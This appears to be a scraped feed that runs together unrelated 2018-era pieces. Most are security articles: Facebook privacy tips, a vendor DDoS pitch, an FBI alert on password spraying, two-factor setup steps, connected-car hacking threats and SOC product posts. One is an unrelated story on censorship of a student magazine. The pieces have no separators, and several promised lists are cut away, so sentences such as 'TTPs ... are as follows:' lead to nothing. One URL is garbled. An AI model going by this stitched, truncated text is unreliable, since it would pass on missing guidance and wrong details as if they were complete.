Application development will get complicated at times. It’s important that in order to assure a good level of security, especially when an application is getting so large and complex as to be untestable or unmaintainable that you address it from a porosity viewpoint. This will greatly simplify building security into the application by looking at where the application interacts with the outside world. That’s the porosity. In the immortal words of me that I just made up right now to prove my point by throwing down a wise saying that applies to porosity:
“It’s how we are on the inside that matters to us but it’s how we are on the outside that matters to everyone else.”
[nid-embed:26931]
Quiz – answer in the comments section and gain the respect and envy of your peers!
1. If your application is intended to be used in internal environments only, do you still need to sanitize interactions over the network and why?
2. You create a sanitizing whitelist for your application but the list itself is the current list of users. How can you utilize this list from the user database without sharing it as a resource?
3. Your web application allows logins from users over the Internet so how do you prevent brute-force and dictionary password attacks of your users?
Dan Wheatley, Partner and CEO at Straight Talk Agency, joins us for the interview this week. Tenable hires Morgan Stanley, Sift Science raised $53M Series D, and Virsec raised $24M Series B. This segment is about the companies making news with founding rounds, exits, and other impacts you need to know about in the industry.
Full Show Notes: https://wiki.securityweekly.com/BSWEpisode79
Visit http://securityweekly.com/category/bsw for all the latest episodes!
Is it time to #deleteFacebook? Facebook’s long line of dramas has many of us rethinking our dependence on Mark Zuckerberg’s largest social media platform. While many of us were alarmed at the fake news allegations last year, the recent scandal with Cambridge Analytica has us genuinely spooked and now asking ourselves this question.
The fact that Facebook allowed British data analysis firm Cambridge Analytica to tap the Facebook profiles of more than 50 million users without their knowledge has many of us questioning both our – and our children’s – relationship with the social media platform. How compromised is our privacy? What’s really happening with our data? Is our every online move really being monitored?
The immediate reaction of many is to delete their Facebook accounts and insist their kids do the same. When news broke of the Cambridge Analytica scandal, the #deleteFacebook hashtag trended heavily on Twitter. Many high profile tech types deleted their personal and business Facebook accounts and, consequently, drove the Twittersphere into a frenzy.
But many of us can’t really afford to be idealists. Some of us run online businesses and rely heavily on Facebook. Others use Facebook for our jobs. Many of us (and our kids) use Facebook to run our social lives – organise events and parties, remember birthdays and stay in touch with friends and family across the world. And for nearly all of us, it is our digital scrapbook that preserves our important life events, shared moments and memories. In short, we would be lost without it.
While the black and white idealist in me absolutely agrees that we should delete Facebook, the realist in me acknowledges that life is often lived in the shades of grey. Facebook has spent more than a decade making itself a deeply entrenched part of our modern society. Saying farewell to this part of your life is a decision that I believe many of us would find almost impossible to make.
So, while deleting Facebook from your online life is the most drastic way of protecting your data, there are steps you can take to keep your account more secure and your personal information more private. Here are my top recommendations:
Setting up a new login and password for each app you’re using is a great way to protect yourself and your data online. Login may take fractionally longer but it will help ensure your data is not shared between different services.
Facebook has made it just so easy for us to download apps using our Facebook settings that many of us have acquired quite the collection of apps. The problem is that Facebook provides these apps with our data including our name, location, email or even our friends list. So, review these apps, people! Not sure where to start? Go to Settings > Apps > Logged in with Facebook and remove anything that doesn’t absolutely need access to your Facebook profile. You will still have to contact the app developer to ensure they have deleted the data they already have gathered on you. Tedious but worth it!
Oversharing online gets many of us including our kids into trouble and allows cybercriminals and ‘data analysis types’ the ability to form an accurate picture of us very quickly! Being conscious of what is publicly available from your social media profiles is essential. Ensure every member of the family knows to NEVER share their telephone number, address or details of their school online. Also rethink whether you really want your relationship status made public, or the city of your birth.
The Cambridge Analytica scandal should provide us all with a reality check about how we manage online friends. In 2015, an app entitled ‘this is your digital life’ was developed by Cambridge Professor Dr Aleksandr Kogan and then downloaded by 270,000 users. Those who opted in allowed the app access to their information – including their friends – which then gave Kogan access to the data of over 50 million Facebook users. Facebook have reportedly since changed their terms of service and claim app developers can no longer access this detail, or at least, not at the same level of detail. So, go through your friend list and delete those you barely know or who were just passing acquaintances. Do you really want to share your personal or family updates with these people?
If an app lets you choose which account you use to login, pick one which holds limited data about its users. Twitter could be a good choice as it tends to hold less personal information about you.
And while I salute those who are bold enough to #deleteFacebook and insist their kids do so, I know that it isn’t for me. I choose to stay. I’ll navigate my way around the risks and flaws, so I can enjoy the upside – belonging to my community, keeping my job and adding to my digital scrapbook.
Till next time,
Alex x
The post #DeleteFacebook: Do You Really Need To? appeared first on McAfee Blogs.
Are retail and investment banks in denial about being adequately protected from the frequent advanced DDoS attacks they’re getting hit with today? It is mid-March 2018 – just three months into the year and 3 major banks have already been taken offline by DDoS attacks, making global headlines. Reuters reported that ABN Amro, ING and Rabobank were targeted by hackers, temporarily disrupting online and mobile banking services at the end of January (Reuters Jan 29, 2018 Dutch tax office, banks hit by DDoS cyber attacks). Whatever DDoS attack protection they had in place proved to be insufficient.
So why are today’s DDoS attacks so successful against well-heeled financial institutions who spend more on cyber-security than most organizations spend on IT in total? The problem may lie with the “protection gap” within banks’ legacy DDoS attack protection solutions that have evolved over the last 20 years but focus principally on defending against large volumetric DDoS attacks. Banks typically rely on two DDoS architectural components:
Cloud DDoS Mitigation for elastic scalability during large volumetric attacks, and
Web Application Firewalls (WAFs) for encrypted traffic and to provide confidentiality and integrity for encrypted “Layer 7” banking applications
Legacy DDoS attack defenses often lack the automation required to provide real-time mitigation of today’s short-duration DDoS attacks. Corero’s analysis shows that even the largest banks frequently have this protection gap and it is the Achilles’ heel within their DDoS defenses.
From the Verizon DBIR graph below we see that Financial Services organizations are twice as likely to be hit with a DDoS attack than any other industry. Despite this fact, the protection gap paradox suggests that banks remain either in ignorance or denial and, consequently, haven’t adjusted their DDoS defenses to be resilient to the short, sharp DDoS attacks that dominate today. Corero’s primary research shows that, in 2017, 96% of DDoS attacks were less than 5 Gbps and 71% lasted 10 minutes or less.
2017 Verizon Data Breach Investigations Report (DBIR)
Protecting all IP addresses presents economic and compliance challenges for banks using this legacy DDoS attack prevention architecture:
These challenges effectively create a “Catch 22” scenario where these banks can’t be fully protected even by always-on cloud DDoS defenses.
Consumers now demand and regulations require that banks (and other enterprises) keep their services available with zero downtime and that personal data privacy is guaranteed. As the Dutch experience has demonstrated, modern DDoS cyber-attacks pose a serious threat to both service availability and data security. Consequently, banks are at risk from trading outages, punitive regulatory fines, and customer churn.
There is good news for banks. Corero’s SmartWall® Threat Defense System can supplement their existing defenses to deliver fully automated, real-time protection against today’s DDoS attacks. SmartWall mitigates both the short, sharp attacks and the larger attacks including amplification attacks that exploit the recently publicized “Memcached” vulnerability. Learn more
Networked systems
According to information derived from FBI investigations, malicious cyber actors are increasingly using a style of brute force attack known as password spraying against organizations in the United States and abroad.
On February 2018, the Department of Justice in the Southern District of New York, indicted nine Iranian nationals, who were associated with the Mabna Institute, for computer intrusion offenses related to activity described in this report. The techniques and activity described herein, while characteristic of Mabna actors, are not limited solely to use by this group.
The Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI) are releasing this Alert to provide further information on this activity.
In a traditional brute-force attack, a malicious actor attempts to gain unauthorized access to a single account by guessing the password. This can quickly result in a targeted account getting locked-out, as commonly used account-lockout policies allow three to five bad attempts during a set period of time. During a password-spray attack (also known as the “low-and-slow” method), the malicious actor attempts a single password against many accounts before moving on to attempt a second password, and so on. This technique allows the actor to remain undetected by avoiding rapid or frequent account lockouts.
Password spray campaigns typically target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols. An actor may target this specific protocol because federated authentication can help mask malicious traffic. Additionally, by targeting SSO applications, malicious actors hope to maximize access to intellectual property during a successful compromise.
Email applications are also targeted. In those instances, malicious actors would have the ability to utilize inbox synchronization to (1) obtain unauthorized access to the organization's email directly from the cloud, (2) subsequently download user mail to locally stored email files, (3) identify the entire company’s email address list, and/or (4) surreptitiously implements inbox rules for the forwarding of sent and received messages.
Traditional tactics, techniques, and procedures (TTPs) for conducting the password-spray attacks are as follows:
Indicators of a password spray attack include:
The vast majority of known password spray victims share some of the following characteristics [1][2]:
A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:
To help deter this style of attack, the following steps should be taken:
The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch). Field office contacts can be identified at www.fbi.gov/contact-us/field. CyWatch can be contacted by phone at (855) 292-3937 or by e-mail at CyWatch@ic.fbi.gov. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Press inquiries should be directed to the FBI’s national Press Office at npo@ic.fbi.gov or (202) 324-3691.
This product is provided subject to this Notification and this Privacy & Use policy.
Have you ever thought about how a data breach could affect you personally? What about your business? Either way, it can be devastating. Fortunately, there are ways that you can protect your personal or business data, and it’s easier than you think. Don’t assume that protecting yourself is impossible just because big corporations get hit with data breaches all of the time. There are things you can do to get protected.
All of the major websites that we most commonly use have some type of two-factor authentication. They are spelled out, below:
The two-factor authentication that Facebook has is called “Login Approvals.” You can find this in the blue menu bar at the top right side of your screen. Click the arrow that you see, which opens a menu. Choose the Settings option, and look for a gold colored badge. You then see “Security,” which you should click. To the right of that, you should see Login Approvals and near that, a box that says “Require a security code.” Put a check mark there and then follow the instructions. The Facebook Code Generator might require a person to use the mobile application on their phone to get their code. Alternatively, Facebook sends a text.
Google also has two-factor authentication. To do this, go to Google.com/2step, and then look for the blue “get started’ button. You can find it on the upper right of the screen. Click this, and then follow the directions. You can also opt for a text or a phone call to get a code. This also sets you up for other Google services, including YouTube.
Twitter also has a form of two-factor authentication. It is called “Login Verification.” To use it, log in to Twitter and click on the gear icon at the top right of the screen. You should see “Security and Privacy.” Click that, and then look for “Login Verification” under the Security heading. You can then choose how to get your code and then follow the prompts.
PayPal
PayPal has a feature known as “Security Key.” To use this, look for the Security and Protection section on the upper right corner of the screen. You should see PayPal Security Key on the bottom left. Click the option to “Go to register your mobile phone.” On the following page, you can add your phone number. Then, you get a text from PayPal with your code.
Yahoo
Yahoo uses “Two-step Verification.” To use it, hover over your Yahoo avatar, which brings up a menu. Click on Account Settings and then on Account Info. Then, scroll until you see Sign-In and Security. There, you will see a link labeled “Set up your second sign-in verification.” Click that and enter your phone number. You should get a code via text.
Microsoft
The system that Microsoft has is called “Two-step Verification.” To use it, go to the website login.live.com. Look for the link on the left. It goes to Security Info. Click that link. On the right side, click Set Up Two-Step Verification, and then follow the prompts.
Apple
Apple also has something called “Two-Step Verification.” To use it, go to applied.apple.com. On the right is a blue box labeled Manage Your Apple ID. Hit that, and then use you Apple ID to log in. You should then see a link for Passwords and Security. You have to answer two questions to access the Security Settings area of the site. There, you should see another link labeled “Get Started.” Click that, and then enter your phone number. Wait for your code on your mobile phone, and then enter it.
LinkedIn also has “Two-Step Verification.” On the LinkedIn site, hover your mouse over your avatar and a drop-down menu should appear. Click on Privacy and Settings, and then click on Account. You should then see Security Settings, which you should also click. Finally, you should see the option to turn on Two-Step Verification for Sign-In. Turn that on to get your code.
These are only a few of the major sites that have two-step verification. Many others do, too, so always check to see if your accounts have this option. If they don’t, see if there is another option that you can use in addition to your password to log in. This could be an email or a telephone call, for instance. This will help to keep you safe.
Amazon
Amazon’s Two-Step Verification adds an additional layer of security to your account. Instead of simply entering your password, Two-Step Verification requires you to enter a unique security code in addition to your password during sign in.
Without setting up Two Step authentication for your most critical accounts, all a criminal needs is access to your username, which is often your email address and then access data breach files containing billions of passwords that are posted all over the web. Once they search your username/email for the associated password, they are in.
Two factor locks them out.
Robert Siciliano personal security and identity theft expert and speaker is the author of 99 Things You Wish You Knew Before Your Identity Was Stolen. See him knock’em dead in this identity theft prevention video.
The Ponemon Institute released a shocking statistic: about 80% of all corporate data leaks is due to human error. In other words, it only takes a single staff member to cause a huge issue. Here’s a scenario: Let’s say that you have an employee, Betty. Betty is lovely. We love Betty. But when Betty is checking her personal email during her lunch break and sees she has an offer that promises a 10-pound weight loss in only a week, she clicks the link. She wants to learn more about it, so she clicks the link in the email. What she doesn’t realize is that by clicking that link, she just installed a virus onto the computer. In addition, the virus now has access to your company’s network.
This was a very simple act, one that most of us do every day. However, this is why it is so important that your staff is up to date on security awareness. How can you do this? Here are some tips:
Remember, there is nothing wrong with sharing tips with your staff. Post them around the office and keep reminding them to stay vigilant. This helps the information to remain fresh in their minds, and helps you to recognize those who are taking security, seriously.
Robert Siciliano personal security and identity theft expert and speaker is the author of 99 Things You Wish You Knew Before Your Identity Was Stolen. See him knock’em dead in this identity theft prevention video.
The McAfee Advanced Threat Research team recently published an article about threats to automobiles on the French site JournalAuto.com. Connected cars are growing rapidly in number and represent the next big step in personal transportation. Auto sales are expected to triple between 2017 and 2022, to US$155.9 billion from $52.5 billion, according to PwC France. Realizing this increase is a huge challenge for car companies as well as for IT security firms.
Through multiple added functions, from Wi-Fi and external connections to driving assistance and autonomous operations, connected cars will very soon need strong security to avoid any intrusions that could endanger drivers, passengers, and others.
Modern cars are exposed to security risks just as are other connected devices. Let’s look at current and future threats in the automotive security field.
The following diagram shows the main risks:
Connected cars record a lot of information about their drivers. This information can come from an external device connected to the car, such as a phone, and can include contact details, SMS and calls history, and even musical tastes. A car can also record shifting patterns and other driver’s habits that could be used to create a picture of a driver’s competence. This kind of oversight could aid insurance companies when offering coverage, for example.
With personal data now considered the new gold, all of this information represents a valuable target for cybercriminals as well as companies and governments.
Digital information can be modified and faked. By altering data such as pollution tests or performance, companies can take advantage of the results to increase sales. Similarly, drivers could modify car statistics such as distance traveled to fool insurance companies or future buyers.
Key fob hacking is a technique to allow an intruder to enter a car without breaking in. This technique is widely known by attackers and can be done easily with cheap hardware. The attack consists of intercepting the signal from a wireless key to either block the signal to lock the car or replay the signal to gain access.
One variant of the attack uses a jammer to block the signal. The jammer interferes with the electromagnetic waves used to communicate with the vehicle, blocking the signal and preventing the car from locking, leaving access free to the attacker. Some jammers have a range of more than 500 meters.
Key fob jammer.
Another attack intercepts the signal sent by the key and replays it to open the door. Auto manufacturers protect against this kind of attack by implementing security algorithms that avoid simple replays with same signal. Each signal sent from the key to the car is unique, thus avoiding a replay. However, one proof of concept for this attack blocks the signal to the car and stores it. The driver’s first click on the key does not work but is recorded by the attacker. The driver’s second click is also recorded, locking the car but giving two signals to the attackers. The first signal recorded, which the car has not received, is used to unlock the door. The second signal is stored for the attacker to use later.
Autos use several components to interact with their parts. Since the end of the 20th century, cars have used the dedicated controller area network (CAN) standard to allow microcontrollers and devices to talk to each other. The CAN bus communicates with a vehicle’s electronic control unit (ECU), which operates many subsystems such as antilock brakes, airbags, transmission, audio system, doors, and many other parts—including the engine. Modern cars also have an On-Board Diagnostic Version 2 (OBD-II) port. Mechanics use this port to diagnose problems. CAN traffic can be intercepted from the OBD port.
The on-board diagnostic port.
An external OBD device could be plugged into a car as a backdoor for external commands, controlling services such as the Wi-Fi connection, performance statistics, and unlocking doors. The OBD port offers a path for malicious activities if not secured.
Adding more services to connected cars can also add more security risks. With the arrival of fully connected autos such as Teslas, which allow Internet access from a browser, it is feasible to deliver a new type of spam based on travel and geolocation. Imagine a pop-up discount as you approach a fast-food restaurant. Not only is this type of action likely to be unwanted, it could also provide a distraction to drivers. We already know spam and advertising are infection vectors for malware.
All the ECUs in an auto contain firmware that can be hacked. Cars employ in-vehicle infotainment (IVI) systems to control audio or video among other functions. These systems are increasing in complexity.
An in-vehicle infotainment system.
MirrorLink, Bluetooth, and internal Wi-Fi are other technologies that improve the driving experience. By connecting our smartphones to our cars, we add functions such as phone calls, SMS, and music and audiobooks, for example.
Malware can target these devices. Phones, browsers, or the telecommunication networks embedded in our cars are infection vectors that can allow the installation of malware. In 2016, McAfee security researchers demonstrated a ransomware proof of concept that blocked the use of the car until the ransom was paid.
A proof-of-concept IVI ransomware attack on a vehicle.
The ransomware was installed via an over-the-air system that allowed the connection of external equipment.
Many modern cars allow third parties to create applications to further connected services. For example, it is possible to unlock or lock the door from your smartphone using an app. Although these apps can be very convenient, they effectively open these services to anyone and can become a new attack vector. It is easier to hack a smartphone app than a car’s ECU because the former is more affordable and offers many more resources. Car apps are also vulnerable because some third parties employ weak security practices and credentials are sometimes stored in clear text. These apps may also store personal information such as GPS data, car model, and other information. This scenario has already been demonstrated by the OnStar app that allowed a hacker to remotely open a car.
Vehicle-to-vehicle (V2V) technology allows communications between vehicles on the road, using a wireless network. This technology can aid security on the road by reducing a car’s speed when another vehicle is too close, for example. It can also communicate with road sign devices (vehicle to infrastructure). That transmitted information improves the driving experience as well as the security. Now imagine this vector invaded by destructive malware. If the V2V system becomes a vector, a malicious actor could create malware to infect many connected cars. This sounds like a sci-fi scenario, right? Yet it is not, if we compare this possibility with recent threats such as WannaCry or NotPetya that targeted computers with destructive malware. It is not hard to predict such a nightmare scenario.
Connected cars are taking over the roads and will radically change how we move about. By enhancing the customer experience, the automotive and the tech industries will provide exciting new services. Nonetheless, we need to consider the potential risks, with security implemented sooner rather than later. Some of the scenarios in this post are already used in the wild; others could happen sooner than we expect.
The post Today’s Connected Cars Vulnerable to Hacking, Malware appeared first on McAfee Blogs.
The world is becoming increasingly connected- with locks for you home controlled on your smartphone; CCTV cameras in every room that allow you to keep tabs on your home when you are out; smartphones that help you work, run and plan activities; smart TVs that allow you to connect to the internet; smart refrigerators that take stock of your grocery and place orders with the supermarket; games that can keep you glued to your screen for hours- the list is ever growing.
We all enjoy this connected lifestyle, it has made the world a global village and daily chores so much easier and faster. But there are some caveats attached. We tend to forget that in the virtual world, your safety and privacy depends a lot on you and the precautions you take. Else you end up sharing Too Much Information about yourself and your family, making you a likely candidate for ID theft and phishing.
This is exactly what a new global McAfee survey titled New Security Priorities in An Increasingly Connected World demonstrates – we are putting more personal information into the digital realm in today’s connected world. The study also reveals a disparity in concerns as Indians do not view safeguarding their connected devices (25%) as equally important as safeguarding their identity (45%) and privacy (39%).
On a positive note, 39% of Indians rank security as the most important factor when purchasing a connected home device. That’s more than one-third of the total respondents. In addition (this one is my particular favorite), 71% of the parents would be interested in a monitoring tool to supervise their kids online.
Other India-centric salient findings of the study:
But though users are aware of the pitfalls of sharing too much information, they are not as proactive about their online security as they should be. The survey highlights the need for more hands-on involvement on the part of the consumer. Not only should they need to take advantage of security tools, but they also need to act responsibly online.
Do you know that if you could somehow collect all the data shared by you over the years, you might be surprised at how much you have let slip unknowingly, including facts like whether you prefer coffee to tea? A simple search or a like on a post can also reveal a lot about you and your taste and character. Worried? The thing to do is to take steps to stay safe online.
Tips to stay safe online and protect what matters most:
In an ever-changing digital world that is continually fuelled by speed, developments and complexities, your security is your responsibility too. Own your digital presence and make your digital realm a secure one.
Happy surfing!
The post Indians Are Increasingly Realising Nothing Said Online Is Private appeared first on McAfee Blogs.
Plainfield High School student journalist Anu Nattam (center) holding the special edition of her school magazine the day of testifying in favor of Bill 1016
After a group of student journalists in Indiana published an issue of their high school magazine last October that focused on dating and relationships, the school implemented a policy of content review prior to publication. This, some students say, amounts to censorship that is compromising their journalistic education.
The October issue of Plainfield High School publication, the Quaker Shaker, was the magazine’s first “special topic” edition, called the Shakedown. It explored the ins and outs of relationships in high school, including polls about the prevalence of sexting as well as more serious topics like dating violence. It even won an award, which marked the first time the publication had won a national-level prize.
But parents and school administrators took issue with the content of the issue, particularly the sexting poll and use of urban dictionary definitions of words like “polyamory” and “friends with benefits.” In particular, one family member of the school board president blasted the publication on social media, encouraging people to complain to the school and school board president, and even asked why local churches were not rising up.
Now, student journalists at Plainfield need administrative approval to publish. As a result of this pushback, Plainfield High School journalism adviser Michelle Burress said that an advisory committee has been set up to evaluate every publication before it goes to press. The principal must approve anything before it is published.
To Anu Nattam, a co-editor of the publication, this policy shows that her school wants her magazine staff to act as a public relations team rather than journalists. Since the policy was implemented, she said that they were forced to change the name of their special edition issues to the Shakeout. Nattam said the school argued that the name Shakedown had mafia connotations.
“We’ve also had to change quotes, and delete quotes for trivial things that make no sense,” Nattam said. She also notes that they were asked to change the cover photo of one magazine issue because merely it showed a picture of a clothed posterior.
But it is her responsibility as a student journalist, Nattam said, to report on issues that are relevant to the student body, even if they might be controversial.
“Filtering reports and restricting ideas is not only an injustice to student journalists, but to the people reading the stories we write. Ideas and facts that impact a student body are not always going to make a school look good. Just like in real life, not everything is sunshine and rainbows.”
Nattam’s adviser Michelle Burress said that now, students are self-censoring, and worry about everything they write coming under intense scrutiny. “They are shying away from topics that normally they would not hesitate to cover because they do not want to get shot down,” she said. “More than ever this year, students are saying that they do not want to be quoted or pictured in the news magazine or yearbook.”
Ed Clere, a member of the Indiana House of Representatives, thinks this a huge problem. “Most people would have been proud to have student journalists who could produce work of that caliber,” he said of the Shakedown’s dating and relationships issue. Nothing the Plainfield High School student journalists have done or published, he said, has justified the censorship and “over the top” reaction that has ensued.
For two Indiana State Congress sessions, Clere has introduced legislation that would protect the free speech rights of student journalists across the state. It would have prohibited schools from encroaching on students’ speech rights except in very specific situations.
The bill reads: “This chapter may not be construed to authorize or protect content of school sponsored media by a student journalist that:(1) is libelous or slanderous; (2) violates federal or state law; (3) incites students to: (A) create a clear and present danger of the commission of an unlawful act; (B) violate a public school or school corporation policy; or (C) be disruptive of the operation of the public school; or (4) encourages, promotes, or supports behavior contrary to citizenship or moral instruction required under IC 20-30-5.”
House Bill 1016 was supported by many student journalists, including Anu Nattam, who testified in its favor, as well as teachers and administrators. But organizations including the Indiana School Boards Association and the Indiana Association of Public School Superintendents, fiercely opposed the bill. It died narrowly in the House on February 5, 2018.
Since a similar bill had failed the year before, Clere knew he was facing an uphill battle, but he was still surprised at the level of resistance and opposition the legislation encountered.
Clere cited a 1988 Supreme Court case that limited student publication freedom, Hazelwood School District v. Kuhlmeier, as a “big step backward” for the First Amendment rights of young journalists. “[School board superintendents and principals] like the absolute control they enjoy under Hazelwood. They don’t want to give it up.”
Indiana is far from the only state in which legislators, students, and teachers are fighting together to grant speech protections to student journalists. Clere said that efforts in Indiana are part of an initiative by the Student Press Law Center—a network, called New Voices, of state campaigns to pass such legislation.
Some states, including California, Montana, and Illinois, have successfully enacted New Voices legislation like Clere’s Bill 1016. But most states have not.
In Indiana, Clere isn’t giving up. Assuming he is re-elected, he vowed that he would “keep trying, and keep bringing this legislation back as long as I am able.” While he is open to discussion and addressing some of the concerns of school administrators, he said he is not open to watering down the bill to the point where it is meaningless.
“This is about more than journalism education and student publications,” Clere said. “Censorship of student journalists hurts entire school communities. It deprives them of the important and relevant stories and conversations that benefit all students.”
Nattam agrees. “People need to realize that by limiting press freedom for students, they are limiting their education. That’s what I feel like was done to me and my staff—our education was compromised, because we can’t be put in the same environment as a professional journalist. So, we can’t prepare for a career in journalism if that's what we choose to do.”
“If anything, this whole thing has fueled my passion for journalism,” Nattam said. “The press is how the public stays informed.”
There’s been a lot of talk and buzz about DevOps and DevSecOps, precipitated by mega technology trends and cybersecurity events shaping our industry. So my colleagues and I were excited to be part of a recent Virtual Summit on “Assembling the Pieces of the DevSecOps Puzzle,” which aimed to move the conversation from defining DevSecOps to enacting it. We are spending a lot of time helping our customers make this shift, so we were thrilled to be able to share our experiences and best practices with you. The Virtual Summit contained a series of sessions on topics such as: tweaking your application security policies in a DevOps world, the changing role of the security professional in a DevOps world, and how to get your developers the security training they need. I encourage you to look at the lineup and take advantage of some of these practical and valuable sessions.
I was lucky enough to kick off the Virtual Summit with a keynote address and answer some of the audience’s early questions. In my keynote, I talked about how DevOps is becoming a necessity in today’s application economy. In a world run by software, it’s critical to develop and release new features continuously, which is where DevOps comes in. DevOps empowers development teams with an iterative process, allowing for continuous deployment of software and introduction of new features at a rapid pace. But many have raised concerns about how security fits into this fast-paced, iterative landscape. Doesn’t continuous deployment just mean continuous opportunities to introduce vulnerabilities? That doesn’t have to be the case if we move to a DevSecOps model, where security is integrated into the DevOps process and which actually gives us the opportunity to create better security.
But, ultimately, this is a big change that affects the culture, processes, technologies and priorities of many teams in an organization, and no change of this magnitude comes without some stumbling blocks. But we’ve seen it work – and seen how “secure” can become part of “quality” software.
I talk about some of these stumbling blocks in my keynote, debunk some of the popular myths surrounding DevSecOps and provide practical recommendations on how to get this done in your organization. I also talk about the enablers for success you’ll need to have in place to avoid making these myths a reality. These enablers include the security team’s openness to this new model, developer security training, and the right security tools. Finally, you’ll hear me answer some excellent viewer questions in my keynote, including:
Will security champions on the development team replace the security team?
Are certain industries more resistant to DevOps?
If security is shifting left, and development is doing the security testing – what does that look like?
You can get my thoughts on these questions in the full recording of my keynote. And if you’re moving toward DevSecOps, or just in the planning stages, please check out some of my colleagues’ excellent sessions from this summit that are packed with tips and advice on making DevSecOps a reality.
Everybody’s got a device. And the data on that device is moving into the public cloud. Massive amounts of data. In a world of massive amounts of data, who’s the traffic cop? The Security Operation Center (SOC).
But these days the daily flow of data traffic resembles a Formula One race car going full out, and some traffic monitors are a single cop on the beat.
Research shows this analogy is not far off: 25% of security events go unanalyzed. And 39% of cybersecurity organizations manually collect, process, and analyze external intelligence feeds.
Think about this. At the dawn of the Digital Century, more than a third of all companies are approaching cybersecurity manually.
This is not sustainable.
In short, there are simply not enough people to keep up with the security challenges. But it’s not a question of training or hiring more people. The idea is for humans to do less and machines to do more. Automating threat defense has many advantages: speed, the ability to learn, and the ability to collaborate with other solutions. Integration of data, analytics, and machine learning are the foundations of the advanced SOC.
For about a year now McAfee engineers have been developing a new architecture for an existing SIEM tool called McAfee© Enterprise Security Manager version 11 (“McAfee ESM 11”), which can serve as the foundation of a modern SOC.
As cybercriminals get smarter, the need for SOC operations to evolve becomes more important. McAfee ESM 11 can help customers transition their SOC from silos of isolated data and manual investigations to faster operations based on machine learning and behavioral analytics.
What makes ESM 11 different from other SIEM tools is its flexible architecture and scalability.
The open and scalable data bus architecture at the heart of McAfee ESM 11 shares huge volumes of raw, parsed and correlated events to allow threat hunters to easily search recent events, while reliably retaining and storing data for compliance and forensics.
The scalability of McAfee ESM 11 architecture allows for flexible horizontal expansion with high availability, giving organizations the ability to rapidly query billions of events. Additional McAfee ESM appliances or virtual machines can be added at any point to add ingestion, query performance, and redundancy.
ESM 11 also includes the ability to partner. An extensible and distributed design integrates with more than three dozen partners, hundreds of standardized data sources, and industry threat intelligence.
By deploying advanced analytics to quickly elevate key insights and context, analysts and members of a security team tasked with examining cyberthreats can focus their attention on high-value next tasks, like understanding a threat’s impact across the organization and what’s needed to respond.
This human-machine teaming, enabled by McAfee’s new and enhanced security operations solutions like McAfee Investigator, McAfee Behavioral Analytics, and McAfee Advanced Threat Defense, allows organizations to more efficiently collect, enrich and share data, turn security events into actionable insights and act to confidently detect and correct sophisticated threats faster. The strategy was outlined in my last SOC blog.
We’ve been testing these products together at the new McAfee Security Fusion Centers, located in Plano, Texas and Cork, Ireland. These facilities were built last year and are designed to support full visibility and global management of risks, in a simulated environment. The Security Fusion Centers give customers a blueprint for building out their own SOCs.
In short – we are revving up the SOC: critical facts in minutes, not hours. Highly-tuned appliances to collect, process, and correlate log events from multiple years with other data streams, including STIX-based threat intelligence feeds. And the storage of billions of events and flows, with quick access long-term event data storage to investigate attacks.
Let your security travel as fast as your data. And get your SOC out of the slow lane.
The post Is Your SOC Caught in the Slow Lane? appeared first on McAfee Blogs.
In security operations, we frequently talk about the difficulties in separating the signal from the noise to detect legitimate threats and disregard false alarms. Data overload is a common problem and triage becomes a critical skill to hone and develop.
As the chief information security officer (CISO) for McAfee, I am aware at multiple levels of the risks that come from a failure to focus on the right thing. If one of our security operations center (SOC) analysts fails to notice multiple login attempts by the same user from different countries in a short span of time, it could cost us both valuable company data and our reputation in the industry.
For these reasons, McAfee announced major enhancements today to our security operations portfolio in our security information and event management (SIEM) and Security Analytics product lines – enhancements that the McAfee Information Security team I am proud to lead helped to road-test. We also announced that our state-of-the-art converged physical and cyber Security Fusion Centers are now fully operational in Plano, Texas, USA and Cork, Ireland – less than a year after we emerged from Intel as a standalone company.
The big deal for the McAfee Security Fusion Centers is that they have a dual mission: 1) to protect McAfee, and; 2) help us build better products. And for myself, I would add a third objective: help our customers to learn from our experiences protecting McAfee. We want to help them build better reference architectures, learn how to communicate with boards of directors and become more innovative in solving cybersecurity problems.
For Job 1, protect the enterprise, we believe in the primacy of fundamentals. We use the National Institute of Standards and Technology (NIST) cybersecurity framework, as well as the Factor Analysis of Information Risk (FAIR) method to quantify our risk posture, and continually manage for the framework’s core functions of Identify, Protect, Detect, Respond, and Recover. It’s critical that we understand what is happening in our environment and that is why we chose to converge our physical and cybersecurity functions into one operations center – a Security Fusion Center. We need to collect data across all aspects of our operating environment. Without that ability, we are flying blind.
Next, we focus on being able to answer a series of vital questions that help us complete the identification functions. We ask:
As for Job #2, helping McAfee build better products, by now you can see how we are living out a commitment to be Customer Zero for McAfee. Going forward, we are going to be the first organization to use McAfee’s new products. But we are doing that in a way that will help our customers implement better, faster and more smoothly before they have even seen the product. We’re working out the bugs and we’re working on feature requests with our Product Management and Engineering teams.
This helps us to be better, more innovative, and to solve cybersecurity challenges. It is meant to be a very tight collaboration – a place to try out our products in the real-world. We’re going to get there through collaboration. From our learnings in the first year, we have observed that diversity is the single most important factor in developing a world class organization. Diversity of thought challenges typical thinking and results in better outcomes.
In fact, collaboration is personally my number one thing. I wanted to work with the smartest people in the world. I will acknowledge that I am not the smartest person in the room. Somebody is going to know more about security than I do. Embracing that and bringing that all together will make us all stronger and better at our jobs. And that is what we mean when we say, “Together is Power.”
As for my personal third goal, helping all of you to be better, too, that’s why I’m sharing here. We’ll continue this dialogue about how McAfee is protecting itself and, in the process, learning more about helping you with another blog post soon. I’ll be sharing the byline with my colleague, Jason Rolleston, Vice President for Security Intelligence & Analytics.
Let me know what signals you are focused on and how we can help solve problems together.
You can look for Grant Bourzikas on Twitter and LinkedIn and at security events like MPOWER, Blackhat, and RSA.
The post Separating the Signal from Noise appeared first on McAfee Blogs.
